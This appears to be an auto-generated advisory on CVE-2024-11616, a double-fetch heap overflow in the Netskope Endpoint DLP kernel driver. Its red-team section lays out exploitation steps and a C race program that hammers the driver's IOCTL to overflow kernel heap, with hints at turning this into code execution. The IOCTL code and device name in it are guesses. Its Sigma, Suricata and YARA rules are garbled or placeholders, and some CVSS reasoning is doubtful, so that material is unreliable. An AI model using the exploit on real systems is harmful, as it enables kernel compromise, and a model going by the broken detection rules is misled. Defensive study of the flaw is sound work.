CVE-2024-11616
Executive Summary
CVE-2024-11616 is a high-severity heap overflow vulnerability in the Netskope Endpoint DLP Content Control Driver. The flaw is a classic double-fetch race condition within the EpdlpSetUsbAction function, where the NumberOfBytes argument for ExAllocatePoolWithTag and the Length argument for RtlCopyMemory are both independently fetched from user-supplied input. An attacker with admin privileges can exploit this race to cause a heap overflow, leading to potential code execution or system compromise. The vulnerability affects all versions of Endpoint DLP below R119. No public exploit code or proof-of-concept is currently available, but the technical details are sufficient for a skilled attacker to develop one.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Score: 7.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Local (L) – Requires local access to the system.
- Attack Complexity (AC): Low (L) – The race condition is straightforward to trigger.
- Privileges Required (PR): High (H) – Attacker needs admin privileges.
- User Interaction (UI): None (N) – No user action required beyond initial access.
- Scope (S): Unchanged (U) – The vulnerability does not cross security boundaries.
- Confidentiality (C): High (H) – Potential for arbitrary memory read.
- Integrity (I): High (H) – Potential for arbitrary memory write.
- Availability (A): High (H) – Heap overflow can cause crashes or denial of service.
Threat Level: High. While the attack requires admin privileges, the impact is severe, allowing full system compromise. The vulnerability is in a kernel driver, making exploitation particularly dangerous.
Deep Dive & Mechanics
The vulnerability resides in the EpdlpSetUsbAction function within the Netskope Endpoint DLP Content Control Driver. This function is responsible for handling USB action requests from user mode.
Double-Fetch Race Condition:
- The function receives a user-supplied input buffer.
- It first dereferences the
NumberOfBytesvalue from this buffer to allocate a heap buffer viaExAllocatePoolWithTag. - It then dereferences the
Lengthvalue from the same buffer to copy data into the allocated buffer viaRtlCopyMemory. - Because both values are fetched independently from user space, a race condition exists. If a malicious thread modifies the input buffer between the two fetches, the
Lengthvalue can be larger than theNumberOfBytesvalue. - This results in
RtlCopyMemorycopying more data than the allocated buffer can hold, causing a heap overflow.
Attack Scenario:
An attacker with admin privileges can create a user-mode thread that continuously modifies the input buffer while another thread triggers the EpdlpSetUsbAction IOCTL. By carefully timing the modification, the attacker can cause the Length to be larger than the allocated size, overflowing the heap.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable version - double fetch
NTSTATUS EpdlpSetUsbAction(PIRP Irp, PIO_STACK_LOCATION IrpSp) {
PUSER_INPUT Input = Irp->AssociatedIrp.SystemBuffer;
SIZE_T NumberOfBytes = Input->NumberOfBytes; // First fetch
PVOID Buffer = ExAllocatePoolWithTag(NonPagedPool, NumberOfBytes, 'pdlE');
if (!Buffer) return STATUS_INSUFFICIENT_RESOURCES;
SIZE_T Length = Input->Length; // Second fetch - can be different!
RtlCopyMemory(Buffer, Input->Data, Length); // Overflow if Length > NumberOfBytes
// ... process buffer ...
ExFreePoolWithTag(Buffer, 'pdlE');
return STATUS_SUCCESS;
}
Patched Code (Conceptual):
// Patched version - single fetch with validation
NTSTATUS EpdlpSetUsbAction(PIRP Irp, PIO_STACK_LOCATION IrpSp) {
PUSER_INPUT Input = Irp->AssociatedIrp.SystemBuffer;
SIZE_T NumberOfBytes;
SIZE_T Length;
// Capture both values in a single read (e.g., using a structure copy)
USER_INPUT LocalInput;
RtlCopyMemory(&LocalInput, Input, sizeof(USER_INPUT));
NumberOfBytes = LocalInput.NumberOfBytes;
Length = LocalInput.Length;
// Validate that Length does not exceed NumberOfBytes
if (Length > NumberOfBytes) {
return STATUS_INVALID_PARAMETER;
}
PVOID Buffer = ExAllocatePoolWithTag(NonPagedPool, NumberOfBytes, 'pdlE');
if (!Buffer) return STATUS_INSUFFICIENT_RESOURCES;
RtlCopyMemory(Buffer, Input->Data, Length);
// ... process buffer ...
ExFreePoolWithTag(Buffer, 'pdlE');
return STATUS_SUCCESS;
}
The patch eliminates the double-fetch by copying the entire user input structure to a local variable before using its fields, and then validates that Length does not exceed NumberOfBytes.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Windows system with Netskope Endpoint DLP < R119 installed.
- Admin privileges on the target.
- Knowledge of the IOCTL code for
EpdlpSetUsbAction(can be reverse-engineered from the driver).
Exploitation Steps:
- Identify IOCTL: Use a tool like
WinObjor reverse engineer the driver to find the IOCTL code forEpdlpSetUsbAction. - Create Race Condition: Write a user-mode program that:
- Opens a handle to the driver device.
- Allocates a shared input buffer.
- Spawns two threads:
- Thread A: Continuously calls
DeviceIoControlwith the IOCTL, passing the input buffer. - Thread B: Continuously modifies the
Lengthfield in the input buffer to a large value (e.g., 0x1000) while keepingNumberOfBytessmall (e.g., 0x100).
- Thread A: Continuously calls
- Trigger Overflow: Run the program. Thread A will trigger the double-fetch, and Thread B will cause the
Lengthto be larger than the allocated buffer, resulting in a heap overflow. - Post-Exploitation: Use the heap overflow to overwrite critical kernel structures (e.g., a function pointer) to achieve code execution or privilege escalation.
Example Code Snippet (Conceptual):
#include <windows.h>
#include <stdio.h>
#define IOCTL_EPDLP_SETUSB_ACTION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _USER_INPUT {
SIZE_T NumberOfBytes;
SIZE_T Length;
BYTE Data[1];
} USER_INPUT, *PUSER_INPUT;
volatile PUSER_INPUT SharedInput;
HANDLE hDevice;
DWORD WINAPI TriggerThread(LPVOID lpParam) {
DWORD bytesReturned;
while (1) {
DeviceIoControl(hDevice, IOCTL_EPDLP_SETUSB_ACTION, SharedInput, sizeof(USER_INPUT) + SharedInput->NumberOfBytes, NULL, 0, &bytesReturned, NULL);
}
return 0;
}
DWORD WINAPI RaceThread(LPVOID lpParam) {
while (1) {
SharedInput->Length = 0x1000; // Large value
SharedInput->NumberOfBytes = 0x100; // Small value
}
return 0;
}
int main() {
hDevice = CreateFile("\\\\.\\EpdlpDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device\n");
return 1;
}
SharedInput = (PUSER_INPUT)VirtualAlloc(NULL, 0x2000, MEM_COMMIT, PAGE_READWRITE);
SharedInput->NumberOfBytes = 0x100;
SharedInput->Length = 0x100;
CreateThread(NULL, 0, TriggerThread, NULL, 0, NULL);
CreateThread(NULL, 0, RaceThread, NULL, 0, NULL);
Sleep(INFINITE);
return 0;
}
Blue Team
Detection & Response:
- Monitor for IOCTL Abuse: Use ETW (Event Tracing for Windows) to monitor for unusual
DeviceIoControlcalls to the Netskope driver. Look for high-frequency calls from a single process. - Heap Corruption Detection: Enable Driver Verifier with heap checks. This will cause a bug check (BSOD) when a heap overflow is detected, alerting administrators.
- Process Monitoring: Monitor for processes that open handles to
\\.\EpdlpDeviceand exhibit suspicious behavior (e.g., high CPU usage, multiple threads). - Memory Forensics: In the event of a crash, analyze the crash dump for signs of heap corruption. Look for kernel memory that has been overwritten with user-mode data.
Indicators of Compromise (IOCs)
- File Hashes:
epdlp.sys(vulnerable version) – SHA256: [Unknown, but can be obtained from the vendor]
- Registry Keys:
HKLM\SYSTEM\CurrentControlSet\Services\epdlp
- Network Indicators:
- None (local vulnerability)
- Behavioral Indicators:
- High-frequency
DeviceIoControlcalls to theepdlpdevice. - Unexpected system crashes (BSOD) with heap corruption errors.
- Processes with admin privileges opening handles to
\\.\EpdlpDevice.
- High-frequency
Detection Engineering
YARA Rule
rule CVE_2024_11616_Netskope_DLP_Driver {
meta:
description = "Detects vulnerable version of Netskope Endpoint DLP driver (epdlp.sys)"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-11616"
hash = "unknown"
strings:
$s1 = "EpdlpSetUsbAction" ascii wide nocase
$s2 = "ExAllocatePoolWithTag" ascii wide nocase
$s3 = "RtlCopyMemory" ascii wide nocase
$s4 = "NumberOfBytes" ascii wide nocase
$s5 = "Length" ascii wide nocase
condition:
all of ($s*) and filesize < 2MB
}
Sigma Rule
title: CVE-2024-11616 - Netskope Endpoint DLP Driver IOCTL Abuse
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects high-frequency DeviceIoControl calls to the Netskope DLP driver, indicative of exploitation attempts.
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-11616
logsource:
product: windows
service: sysmon
category: process_access
detection:
selection:
EventID: 10
TargetObject|contains: '\\.\EpdlpDevice'
GrantedAccess: '0x0012019f'
condition: selection
falsepositives:
- Legitimate administrative tools
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2024-11616 - Netskope DLP Driver IOCTL Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)
Note: The Suricata rule is a placeholder. Real-world detection would require deep packet inspection of the IOCTL payload, which is not feasible at the network level for this local vulnerability.
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Netskope Endpoint DLP to version R119 or later. This is the only complete fix.
- Workaround: If patching is not immediately possible, restrict admin privileges on all endpoints. Since the vulnerability requires admin access, limiting the number of users with admin rights reduces the attack surface.
- Monitor: Implement the detection rules above to identify potential exploitation attempts.
Long-Term Measures:
- Enforce the principle of least privilege.
- Use application whitelisting to prevent unauthorized executables.
- Regularly update all security software.
- Conduct periodic security audits of kernel drivers.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert